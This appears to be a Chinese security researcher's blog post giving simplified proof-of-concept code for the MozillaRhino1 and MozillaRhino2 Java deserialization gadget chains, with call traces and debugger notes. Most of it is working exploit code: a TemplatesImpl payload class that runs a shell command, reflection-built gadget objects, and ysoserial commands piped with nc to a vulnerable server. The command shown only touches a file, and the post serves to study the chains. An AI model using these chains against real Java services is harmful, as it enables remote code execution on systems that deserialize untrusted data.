标题: MozillaRhino反序列化利用链
创建: 2020-05-26 11:39 更新: 2020-07-22 20:09 链接: https://scz.617.cn/web/202005261139.txt
目录:
☆ 前言
☆ Serializable接口详解
10) MozillaRhino反序列化漏洞
10.1) org.mozilla.javascript.NativeError
10.1.0) JacksonExploit.java
10.1.1) NativeErrorExec.java
10.1.2) 简化版调用关系
10.1.3) NativeErrorExec2.java
10.1.4) 调试器对被调试进程的挠动
10.1.5) ysoserial.payloads.MozillaRhino1
10.2) org.mozilla.javascript.NativeJavaObject
10.2.1) NativeJavaObjectExec.java
10.2.2) 简化版调用关系
10.2.3) ysoserial.payloads.MozillaRhino2
10.2.4) NativeJavaObjectExec6.java
10.2.5) CVE-2019-6980(Zimbra)
☆ 参考资源
☆ 前言
本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过 的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。
基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自 嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之 展开动态调试。
最佳入手方式是,先把PoC跑通,然后打个断点:
stop in java.lang.Runtime.exec(java.lang.String[])
最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作 并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。
☆ Serializable接口详解
10) MozillaRhino反序列化漏洞
10.1) org.mozilla.javascript.NativeError
参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化 文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再 次看到它,重读了一遍,这次懂了,学习之路不易。
PoC用到如下库:
js-1.7R2.jar js-1.6R7.jar
10.1.0) JacksonExploit.java
同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。
/ * javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" * * warning: AbstractTranslet is internal proprietary API and may be removed in a future release / import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/ * 必须是public,否则不能成功执行命令 / public class JacksonExploit extends AbstractTranslet { / * 必须是public / public JacksonExploit () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } }
/*
* 必须重载这两个抽象方法,否则编译时报错
*/
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler )
{
}
@Override
public void transform ( DOM document, SerializationHandler[] handler )
{
}
}
10.1.1) NativeErrorExec.java
/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java / import java.io.; import java.lang.reflect.; import javax.management.BadAttributeValueExpException; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.;
public class NativeErrorExec { / * 参看TemplatesImplExec.java / private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); return( ti ); } / end of getTemplatesImpl /
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
/*
* 不是public类,没法import
*/
Class clz_NativeError = Class.forName( "org.mozilla.javascript.NativeError" );
Constructor cons_NativeError = clz_NativeError.getDeclaredConstructor();
cons_NativeError.setAccessible( true );
/*
* NativeError实例
*/
ScriptableObject ne = ( ScriptableObject )cons_NativeError.newInstance();
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 设置
*
* org.mozilla.javascript.MemberBox.memberObject
* org.mozilla.javascript.NativeJavaMethod.methods[0]
* org.mozilla.javascript.NativeJavaMethod.functionName
*/
NativeJavaMethod njm_enter = new NativeJavaMethod( m_enter, "name" );
/*
* 用njm_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"name"
*
* 这次只是占坑,后面会用mb_enter替换掉njm_enter
*/
ne.setGetterOrSetter( "name", 0, njm_enter, false );
/*
* private方法,不能直接调用
*/
Method m_getSlot = ScriptableObject.class.getDeclaredMethod
(
"getSlot",
String.class,
int.class,
int.class
);
m_getSlot.setAccessible( true );
/*
* SLOT_QUERY = 1
*/
Object slot = m_getSlot.invoke( ne, "name", 0, 1 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"name"
*/
f_getter.set( slot, mb_enter );
Method m_newTransformer = TemplatesImpl.class.getDeclaredMethod( "newTransformer" );
NativeJavaMethod njm_newTransformer = new NativeJavaMethod( m_newTransformer, "message" );
/*
* 用njm_newTransformer设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"message"
*
* 注意存在
*
* org.mozilla.javascript.ScriptableObject.slots[]
*
* 第一形参name不同,对应不同的slot
*/
ne.setGetterOrSetter( "message", 0, njm_newTransformer, false );
TemplatesImpl ti = getTemplatesImpl( evilclass );
Context context = Context.enter();
/*
* 参看
*
* org.mozilla.javascript.ScriptRuntime.initStandardObjects()
*
* 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑
*/
NativeObject no = ( NativeObject )context.initStandardObjects();
NativeJavaObject njo = new NativeJavaObject( no, ti, TemplatesImpl.class );
/*
* 用njo设置
*
* org.mozilla.javascript.ScriptableObject.prototypeObject
*/
ne.setPrototype( njo );
BadAttributeValueExpException
bave = new BadAttributeValueExpException( null );
Field f_val = bave.getClass().getDeclaredField( "val" );
f_val.setAccessible( true );
f_val.set( bave, ne );
return( bave );
} /* end of getObject */
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java \ -cp "js-1.7R2.jar:." \ NativeErrorExec JacksonExploit.class
抛出异常,但恶意代码已被执行。
JacksonExploit.class来自JacksonExploit.java。此次示例没有动用Javassist之类 的东西动态生成JacksonExploit.class的等价物,萝卜白菜各有所爱,我不喜欢。
10.1.2) 简化版调用关系
ObjectInputStream.readObject // 8u232+1.7R2 BadAttributeValueExpException.readObject // ObjectStreamClass:1170 NativeError.toString // BadAttributeValueExpException:86 // this.val = valObj.toString() // 此处开始NativeError利用链 NativeError.js_toString // NativeError:110 NativeError.getString // NativeError:150 // getString(thisObj, "name") ScriptableObject.getProperty // NativeError:198 IdScriptableObject.get // ScriptableObject:1617 ScriptableObject.get // IdScriptableObject:387 ScriptableObject.getImpl // ScriptableObject:287 MemberBox.invoke // ScriptableObject:2020 // nativeGetter.invoke(getterThis, args) MemberBox.method // MemberBox:158 // method = method() return (Method)this.memberObject // MemberBox:91 Method.invoke // MemberBox:161 // method.invoke(target, args) Context.enter NativeError.getString // NativeError:150 // getString(thisObj, "message") ScriptableObject.getProperty // NativeError:198 IdScriptableObject.get // ScriptableObject:1617 ScriptableObject.get // IdScriptableObject:387 ScriptableObject.getImpl // ScriptableObject:287 // 此处与Matthias Kaiser原文不严格对应,但基本意思没变 Context.getContext // ScriptableObject:2023 // cx = Context.getContext() // 如果前面没有执行Context.enter(),此函数中会抛异常 NativeJavaMethod.call // ScriptableObject:2024 // f.call(cx, f.getParentScope(), start, ScriptRuntime.emptyArgs) MemberBox meth = this.methods[index] // NativeJavaMethod:169 ScriptableObject.getPrototype // NativeJavaMethod:240 // o = o.getPrototype() return this.prototypeObject // ScriptableObject:627 if ((o instanceof Wrapper)) // NativeJavaMethod:234 // o此时是NativeJavaObject实例,后者实现了Wrapper接口 NativeJavaObject.unwrap // NativeJavaMethod:235 // javaObject = ((Wrapper)o).unwrap() return this.javaObject // NativeJavaObject:188 // this.javaObject此时是TemplatesImpl实例 MemberBox.invoke // NativeJavaMethod:247 // retval = meth.invoke(javaObject, args) // meth是MemberBox实例,封装了TemplatesImpl.newTransformer() MemberBox.method // MemberBox:158 // method = method() return (Method)this.memberObject // MemberBox:91 Method.invoke // MemberBox:161 // method.invoke(target, args) TemplatesImpl.newTransformer // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出
MozillaRhino1、MozillaRhino2两条利用链属于我看过的利用链中最复杂的那一批。 Matthias Kaiser、An Trinh(tint0)对MozillaRhino太熟悉。
10.1.3) NativeErrorExec2.java
参[90],Twings对Matthias Kaiser的数据准备方案做了一处微小改动,前者没有调 用Context.enter()、Context.initStandardObjects(),这个改动很赞。
/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec2.java / import java.io.; import java.lang.reflect.; import javax.management.BadAttributeValueExpException; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.;
public class NativeErrorExec2 { ... / * 返回待序列化Object / @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { ... / * 占坑用 / ScriptableObject ne2 = ( ScriptableObject )cons_NativeError.newInstance(); ( new ClassCache() ).associate( ne2 ); NativeJavaObject njo = new NativeJavaObject( ne2, ti, TemplatesImpl.class ); / * 用njo设置 * * org.mozilla.javascript.ScriptableObject.prototypeObject / ne.setPrototype( njo ); ... } / end of getObject / ... }
10.1.4) 调试器对被调试进程的挠动
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "js-1.7R2.jar:." \ NativeErrorExec JacksonExploit.class
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in org.mozilla.javascript.NativeJavaMethod.call
main[1] wherei [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [9] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97 [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [14] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [15] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [16] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [17] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [18] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [19] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59 main[1] clear org.mozilla.javascript.NativeJavaMethod.call main[1] up 4 main[5] print obj
你会发现"print obj"、"print start"导致目标JVM输出"scz is here"。如果前面没 有清除NativeJavaMethod.call()处的断点,执行"print obj"、"print start"会再 次命中NativeJavaMethod.call()处的断点:
main[1] wherei [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [9] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0 [10] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135 [11] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4 [12] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58 [13] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5 [14] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2 [15] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24 [16] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1 [17] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97 [18] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [19] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [20] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [21] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [22] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [23] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [24] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [25] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [26] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [27] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59
"print obj"会调用NativeError.toString(),会再次触发NativeError利用链。如果 用Eclipse等GUI工具调试,查看调用栈回溯时,一旦选中obj、start这些变量,立即 触发obj.toString(),比jdb更坑爹。
10.1.5) ysoserial.payloads.MozillaRhino1
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java
这是Matthias Kaiser提供的。
java \ -cp "js-1.7R2.jar:." \ VulnerableServer 192.168.65.23 1314
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino1 \ '/bin/touch /tmp/scz_is_here' \ | nc -n 192.168.65.23 1314
抛出异常,但恶意代码已被执行。
10.2) org.mozilla.javascript.NativeJavaObject
10.2.1) NativeJavaObjectExec.java
/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeJavaObjectExec.java / import java.io.; import java.lang.reflect.; import sun.reflect.ReflectionFactory; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.; import org.mozilla.javascript.tools.shell.Environment;
public class NativeJavaObjectExec { / * 参看TemplatesImplExec.java / private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); return( ti ); } / end of getTemplatesImpl /
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
Method m_accessSlot = ScriptableObject.class.getDeclaredMethod
(
"accessSlot",
String.class,
int.class,
int.class
);
m_accessSlot.setAccessible( true );
/*
* public类,可以直接import
*/
ScriptableObject env_0 = ( ScriptableObject )new Environment();
/*
* 参org.mozilla.javascript.ScriptableObject
*
* SLOT_QUERY = 1
* SLOT_MODIFY = 2
* SLOT_MODIFY_GETTER_SETTER = 4
*
* 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
* 坑,而是调用accessSlot()占坑
*/
Object slot = m_accessSlot.invoke( env_0, "foo", 0, 4 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"foo"
*/
f_getter.set( slot, mb_enter );
/*
* 占坑用
*/
ScriptableObject env_dummy = ( ScriptableObject )new Environment();
/*
* 没有用tint0的方案,此处用了Twings的方案,后者简洁明了
*/
( new ClassCache() ).associate( env_dummy );
NativeJavaObject njo_0 = new NativeJavaObject( env_dummy, env_0, Environment.class, true );
Method m_writeAdapterObject
= NativeJavaObjectExec.class.getDeclaredMethod
(
"PrivateWriteAdapterObject",
Object.class,
ObjectOutputStream.class
);
Field f_writeAdapterObject
= NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
f_writeAdapterObject.setAccessible( true );
/*
* 反序列化时NativeJavaObject.adapter_readAdapterObject被设置成
*
* org.mozilla.javascript.JavaAdapter.readAdapterObject()
*
* 至此序列化出去的njo_0在反序列化时会触发Context.enter()
*/
f_writeAdapterObject.set( njo_0, m_writeAdapterObject );
ScriptableObject env_1 = ( ScriptableObject )new Environment();
/*
* 用env_1封装njo_0,就是找个成员变量存放njo_0
*
* 设置this.parentScopeObject
*/
env_1.setParentScope( njo_0 );
/*
* SLOT_MODIFY = 2
*/
m_accessSlot.invoke( env_1, "outputProperties", 0, 2 );
TemplatesImpl ti = getTemplatesImpl( evilclass );
/*
* NativeJavaArray是NativeJavaObject的子类。
*
* 此处用了ysoserial.payloads.JRMPListener展示过的一个技巧,调用父
* 类构造函数生成子类实例。我不喜欢tint0原来的实现。
*/
Constructor<?> cons_NativeJavaObject
= NativeJavaObject.class.getDeclaredConstructor
(
Scriptable.class,
Object.class,
Class.class
);
Constructor<?> cons_NativeJavaArray
= ReflectionFactory.getReflectionFactory().newConstructorForSerialization
(
NativeJavaArray.class,
cons_NativeJavaObject
);
NativeJavaArray nja = ( NativeJavaArray )cons_NativeJavaArray.newInstance
(
env_dummy,
ti,
TemplatesImpl.class
);
/*
* 用nja封装env_1,就是找个成员变量存放env_1
*
* 设置this.prototype
*/
nja.setPrototype( env_1 );
NativeJavaObject njo_1 = new NativeJavaObject( env_dummy, nja, NativeJavaArray.class, true );
f_writeAdapterObject.set( njo_1, m_writeAdapterObject );
return( njo_1 );
} /* end of getObject */
/*
* 必须是public的,否则序列化时就抛异常。参看
*
* org.mozilla.javascript.JavaAdapter.writeAdapterObject()
*/
public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
{
out.writeObject( "java.lang.Object" );
out.writeObject( new String[0] );
out.writeObject( javaObject );
}
public static void main ( String[] argv ) throws Exception
{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java \ -cp "js-1.7R2.jar:." \ NativeJavaObjectExec JacksonExploit.class
抛出异常,但恶意代码已被执行。
10.2.2) 简化版调用关系
感觉MozillaRhino2比MozillaRhino1更复杂,尤其当你想搞清楚来龙去脉时。
ObjectInputStream.readObject // 8u232+1.7R2 // 读njo_1 NativeJavaObject.readObject // ObjectStreamClass:1170 JavaAdapter.readAdapterObject // NativeJavaObject:940 ObjectInputStream.readObject // JavaAdapter:260 NativeJavaObject.readObject // NativeJavaArray是NativeJavaObject的子类 ObjectInputStream.defaultReadObject // NativeJavaObject:932 ScriptableObject.readObject // this是Environment实例,对应env_1 ObjectInputStream.defaultReadObject // ScriptableObject:2496 NativeJavaObject.readObject // this是NativeJavaObject实例,对应njo_0 JavaAdapter.readAdapterObject // NativeJavaObject:940 ObjectInputStream.readObject // JavaAdapter:260 // 读env_0 JavaAdapter.getAdapterClass // JavaAdapter:262 JavaAdapter.getObjectFunctionNames // JavaAdapter:311 ScriptableObject.getProperty // JavaAdapter:290 Environment.get // ScriptableObject:1617 ScriptableObject.get // Environment:104 ScriptableObject.getImpl // ScriptableObject:287 MemberBox.invoke // ScriptableObject:2020 Method.invoke // MemberBox:161 Context.enter ObjectInputStream.readObject // NativeJavaObject:945 // 读ti,设置nja.javaObject JavaAdapter.getAdapterClass // JavaAdapter:262 JavaAdapter.getObjectFunctionNames // JavaAdapter:311 ScriptableObject.getProperty // JavaAdapter:290 NativeJavaArray.get // ScriptableObject:1617 NativeJavaObject.get // NativeJavaArray:99 JavaMembers.get // NativeJavaObject:113 MemberBox.invoke // JavaMembers:118 Method.invoke // MemberBox:161 TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer // TemplatesImpl:507 // 此处开始TemplatesImpl利用链 // 由Adam Gowdiak最早提出
JavaAdapter.getAdapterClass()、ScriptableObject.getProperty()会触发 Method.invoke()。
NativeJavaObject.
10.2.3) ysoserial.payloads.MozillaRhino2
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java
这是An Trinh(tint0)提供的。
java \ -cp "js-1.7R2.jar:." \ VulnerableServer 192.168.65.23 1314
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 \ '/bin/touch /tmp/scz_is_here' \ | nc -n 192.168.65.23 1314
抛出异常,但恶意代码已被执行。
10.2.4) NativeJavaObjectExec6.java
tint0说MozillaRhino2利用链适用于1.6R6及以上版本,本小节用1.6R7测试。
/ * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.6R7.jar" NativeJavaObjectExec6.java / import java.io.; import java.util.; import java.lang.reflect.; import sun.reflect.ReflectionFactory; import java.nio.file.Files; import com.sun.org.apache.xalan.internal.xsltc.trax.; import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment;
public class NativeJavaObjectExec6 { / * 参看TemplatesImplExec.java / private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); / * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 / Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); _tfactory.setAccessible( true ); _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); / * 第二形参可以是任意字符串,比如空串,但不能是null / _name.set( ti, "" ); return( ti ); } / end of getTemplatesImpl /
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception
{
Method m_enter = Context.class.getDeclaredMethod( "enter" );
/*
* 无法直接import
*/
Class clz_MemberBox = Class.forName( "org.mozilla.javascript.MemberBox" );
Constructor cons_MemberBox = clz_MemberBox.getDeclaredConstructor( Method.class );
cons_MemberBox.setAccessible( true );
Object mb_enter = cons_MemberBox.newInstance( m_enter );
Method m_accessSlot = ScriptableObject.class.getDeclaredMethod
(
"accessSlot",
String.class,
int.class,
int.class
);
m_accessSlot.setAccessible( true );
/*
* public类,可以直接import
*/
ScriptableObject env_0 = ( ScriptableObject )new Environment();
/*
* 参org.mozilla.javascript.ScriptableObject
*
* SLOT_QUERY = 1
* SLOT_MODIFY = 2
* SLOT_MODIFY_GETTER_SETTER = 4
*
* 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
* 坑,而是调用accessSlot()占坑
*/
Object slot = m_accessSlot.invoke( env_0, "foo", 0, 4 );
Field f_getter = slot.getClass().getDeclaredField( "getter" );
f_getter.setAccessible( true );
/*
* 用mb_enter设置
*
* org.mozilla.javascript.ScriptableObject$GetterSlot.getter
*
* 对应"foo"
*/
f_getter.set( slot, mb_enter );
/*
* 占坑用
*/
ScriptableObject env_dummy = ( ScriptableObject )new Environment();
/*
* 这是Twings的方案,简洁明了
*/
( new ClassCache() ).associate( env_dummy );
/*
* 这是tint0的方案,测试可用
*/
// Map associatedValues = new Hashtable();
// associatedValues.put( "ClassCache", new ClassCache() );
// Field f_associatedValues = ScriptableObject.class.getDeclaredField( "associatedValues" );
// f_associatedValues.setAccessible( true );
// f_associatedValues.set( env_dummy, associatedValues );
Method m_writeAdapterObject
= NativeJavaObjectExec6.class.getDeclaredMethod
(
"PrivateWriteAdapterObject",
Object.class,
ObjectOutputStream.class
);
NativeJavaObject njo_0 = PrivateInitNativeJavaObject
(
env_dummy,
env_0,
true,
m_writeAdapterObject
);
ScriptableObject env_1 = ( ScriptableObject )new Environment();
/*
* 用env_1封装njo_0,就是找个成员变量存放njo_0
*
* 设置this.parentScopeObject
*/
env_1.setParentScope( njo_0 );
/*
* SLOT_MODIFY = 2
*/
m_accessSlot.invoke( env_1, "outputProperties", 0, 2 );
TemplatesImpl ti = getTemplatesImpl( evilclass );
NativeJavaArray nja = PrivateInitNativeJavaArray
(
env_dummy,
ti,
env_1
);
NativeJavaObject njo_1 = PrivateInitNativeJavaObject
(
env_dummy,
nja,
true,
m_writeAdapterObject
);
return( njo_1 );
} /* end of getObject */
private static NativeJavaArray PrivateInitNativeJavaArray
(
Scriptable parent,
Object javaObject,
Scriptable prototype
) throws Exception
{
Constructor<?> cons_Object = Object.class.getDeclaredConstructor();
Constructor<?> cons_NativeJavaArray
= ReflectionFactory.getReflectionFactory().newConstructorForSerialization
(
NativeJavaArray.class,
cons_Object
);
NativeJavaArray nja = ( NativeJavaArray )cons_NativeJavaArray.newInstance();
Field f_parent = NativeJavaObject.class.getDeclaredField( "parent" );
Field f_javaObject = NativeJavaObject.class.getDeclaredField( "javaObject" );
Field f_prototype = NativeJavaArray.class.getDeclaredField( "prototype" );
f_parent.setAccessible( true );
f_javaObject.setAccessible( true );
f_prototype.setAccessible( true );
f_parent.set( nja, parent );
f_javaObject.set( nja, javaObject );
/*
* 对于1.6R7,NativeJavaObject、NativeJavaArray各有自己的成员
* prototype,必须同时设置它们,这是个坑。
*
* 对于1.7R2,NativeJavaArray没有重载成员prototype,无此问题。
*
* 设置子类NativeJavaArray.prototype
*
* 若未设置,将来NativeJavaArray.getPrototype()不会返回env_1
*/
f_prototype.set( nja, prototype );
/*
* 设置父类NativeJavaObject.prototype
*
* 若未设置,反序列化时有如下调用关系:
*
* NativeJavaObject.initMembers
* JavaMembers.lookupClass
* JavaMembers.<init>
* Context.getContext
* Context.getCurrentContext
* return null
* throw new RuntimeException("No Context associated with current Thread")
*
* 这个异常被捕获,不会直接抛到最外层,所以看不到提示信息
*/
nja.setPrototype( prototype );
return( nja );
}
private static NativeJavaObject PrivateInitNativeJavaObject
(
Scriptable parent,
Object javaObject,
boolean isAdapter,
Method writeAdapterObject
) throws Exception
{
NativeJavaObject njo = new NativeJavaObject();
Field f_parent = NativeJavaObject.class.getDeclaredField( "parent" );
Field f_javaObject = NativeJavaObject.class.getDeclaredField( "javaObject" );
Field f_isAdapter = NativeJavaObject.class.getDeclaredField( "isAdapter" );
Field f_writeAdapterObject
= NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
f_parent.setAccessible( true );
f_javaObject.setAccessible( true );
f_isAdapter.setAccessible( true );
f_writeAdapterObject.setAccessible( true );
f_parent.set( njo, parent );
f_javaObject.set( njo, javaObject );
f_isAdapter.set( njo, isAdapter );
f_writeAdapterObject.set( njo, writeAdapterObject );
return( njo );
}
/*
* 必须是public的,否则序列化时就抛异常。参看
*
* org.mozilla.javascript.JavaAdapter.writeAdapterObject()
*/
